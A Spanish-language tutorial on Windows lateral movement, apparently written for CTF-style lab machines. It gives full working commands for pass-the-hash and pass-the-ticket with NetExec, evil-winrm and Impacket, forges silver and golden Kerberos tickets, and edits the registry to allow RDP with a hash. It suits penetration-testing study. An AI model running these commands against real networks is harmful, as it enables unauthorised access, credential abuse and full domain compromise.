Movimiento lateral en Windows: pass-the-hash, pass-the-ticket, WinRM, PsExec y WMI
Usar una contraseña, un hash NT o un ticket de Kerberos para ejecutar comandos en otras máquinas: evil-winrm, psexec, wmiexec, RDP, golden y silver tickets.
Tienes unas credenciales. Puede que sean una contraseña, un hash NT sacado de un SAM o un ticket de Kerberos. La pregunta ahora es dónde valen y cómo ejecutar comandos allí. En Windows no hace falta la contraseña en claro: el hash NT basta para autenticarse por NTLM (pass-the-hash), y un ticket basta para Kerberos (pass-the-ticket). Son las técnicas de pass-the-hash / ticket y ejecución remota, presentes en decenas de máquinas del catálogo.
1. ¿Dónde valen?
# Contraseña
nxc smb 10.10.10.0/24 -u usuario -p 'Contraseña1'
# Hash NT (la parte de la derecha de LM:NT)
nxc smb 10.10.10.0/24 -u administrator -H 8846f7eaee8fb117ad06bdd830b7586c
# Cuenta local en vez de dominio
nxc smb 10.10.10.0/24 -u administrator -H 8846f7... --local-auth
# Otros protocolos
nxc winrm 10.10.10.10 -u usuario -p 'Contraseña1'
nxc mssql 10.10.10.10 -u usuario -p 'Contraseña1'
nxc rdp 10.10.10.10 -u usuario -p 'Contraseña1'
(Pwn3d!) significa que puedes ejecutar comandos por ese protocolo. El generador de Impacket y NetExec te escribe cada comando con contraseña, hash o Kerberos.
2. Cómo entrar: qué herramienta usar
| Herramienta | Puerto | Necesitas | Te da | Ruido |
|---|---|---|---|---|
| evil-winrm | 5985/5986 | Estar en Remote Management Users o ser admin |
PowerShell interactivo, subir y bajar ficheros | Bajo |
| psexec | 445 | Admin local | SYSTEM | Alto: crea un servicio y sube un binario |
| smbexec | 445 | Admin local | SYSTEM, sin subir binario | Medio: crea un servicio por comando |
| wmiexec | 135 + dinámicos | Admin local | El usuario, semiinteractivo | Medio |
| atexec | 445 | Admin local | SYSTEM, un comando por tarea programada | Medio |
| dcomexec | 135 + dinámicos | Admin local | El usuario | Medio |
| xfreerdp | 3389 | Remote Desktop Users o admin |
Escritorio gráfico | Bajo |
evil-winrm -i 10.10.10.10 -u usuario -p 'Contraseña1'
evil-winrm -i 10.10.10.10 -u administrator -H 8846f7eaee8fb117ad06bdd830b7586c
impacket-psexec corp.local/[email protected] -hashes :8846f7eaee8fb117ad06bdd830b7586c
impacket-wmiexec corp.local/administrator:'Contraseña1'@10.10.10.10
impacket-smbexec -hashes :8846f7... corp.local/[email protected]
nxc smb 10.10.10.10 -u administrator -H 8846f7... -x 'whoami /all' # un comando
nxc smb 10.10.10.10 -u administrator -H 8846f7... -X 'Get-Process' # en PowerShell
Truco
RDP con hash solo funciona si el servidor tiene activado Restricted Admin: xfreerdp /v:10.10.10.10 /u:administrator /pth:8846f7... /cert:ignore. Si no lo está y eres admin por otro lado, actívalo con reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f.
3. Kerberos: overpass-the-hash y pass-the-ticket
Algunas máquinas tienen NTLM desactivado (en Scrambled, todo va por Kerberos) o quieres hacer menos ruido. Convierte el hash en un TGT:
impacket-getTGT corp.local/usuario -hashes :8846f7eaee8fb117ad06bdd830b7586c -dc-ip 10.10.10.10
impacket-getTGT corp.local/usuario:'Contraseña1' -dc-ip 10.10.10.10
export KRB5CCNAME=usuario.ccache
impacket-psexec -k -no-pass corp.local/[email protected]
nxc smb dc01.corp.local --use-kcache
Para que evil-winrm use el ticket, configura /etc/krb5.conf con el dominio y el KDC y lanza evil-winrm -i dc01.corp.local -r CORP.LOCAL.
Con tickets de Windows (Rubeus o Mimikatz los exportan como .kirbi), conviértelos:
impacket-ticketConverter ticket.kirbi ticket.ccache
4. Silver y golden tickets
Si tienes el hash de una cuenta de servicio, puedes fabricar tickets para ese servicio sin pasar por el DC (silver ticket). Si tienes el de krbtgt (tras un DCSync), puedes fabricar un TGT para cualquier usuario (golden ticket).
# SID del dominio
impacket-lookupsid corp.local/usuario:'Contraseña1'@10.10.10.10 0
# Silver ticket: hash NT de la cuenta que ejecuta MSSQL, para el SPN de MSSQL
impacket-ticketer -nthash <hash_svc_sql> -domain-sid S-1-5-21-XXXX -domain corp.local -spn MSSQLSvc/dc01.corp.local:1433 Administrator
# Golden ticket
impacket-ticketer -nthash <hash_krbtgt> -domain-sid S-1-5-21-XXXX -domain corp.local Administrator
export KRB5CCNAME=Administrator.ccache
El silver ticket para MSSQL es justo la vía de Scrambled.
5. Desde Windows
Si ya estás en una máquina del dominio:
# Ejecutar en otro equipo con las credenciales actuales
Enter-PSSession -ComputerName srv01
Invoke-Command -ComputerName srv01 -ScriptBlock { whoami }
# Con otras credenciales
$c = New-Object PSCredential('CORP\usuario', (ConvertTo-SecureString 'Contraseña1' -AsPlainText -Force))
Invoke-Command -ComputerName srv01 -Credential $c -ScriptBlock { whoami }
# Pass-the-ticket con Rubeus
.\Rubeus.exe asktgt /user:usuario /rc4:8846f7... /ptt
Más variantes (y C2 como Sliver o Havoc) en la chuleta de C2 y post-explotación.
Errores típicos
STATUS_LOGON_FAILUREcon un hash correcto: es una cuenta local y falta--local-auth, o es del dominio y has puesto--local-auth.rpc_s_access_denieden psexec pero NetExec dicePwn3d!: el antivirus ha bloqueado el binario de psexec. Pruebawmiexecosmbexec.- Un administrador local que no es
Administratorno consiguePwn3d!: por UAC remoto (LocalAccountTokenFilterPolicy), solo la cuenta RID 500 tiene privilegios completos por red. - Kerberos falla con
KDC_ERR_S_PRINCIPAL_UNKNOWN: estás usando la IP; Kerberos necesita el nombre (dc01.corp.local) y que resuelva.
Y después
En cada máquina nueva, vuelca las credenciales que guarde (volcado de credenciales) y prueba de nuevo dónde valen: así se recorre un dominio. Si el antivirus te bloquea, lee primero cómo detectan los EDR.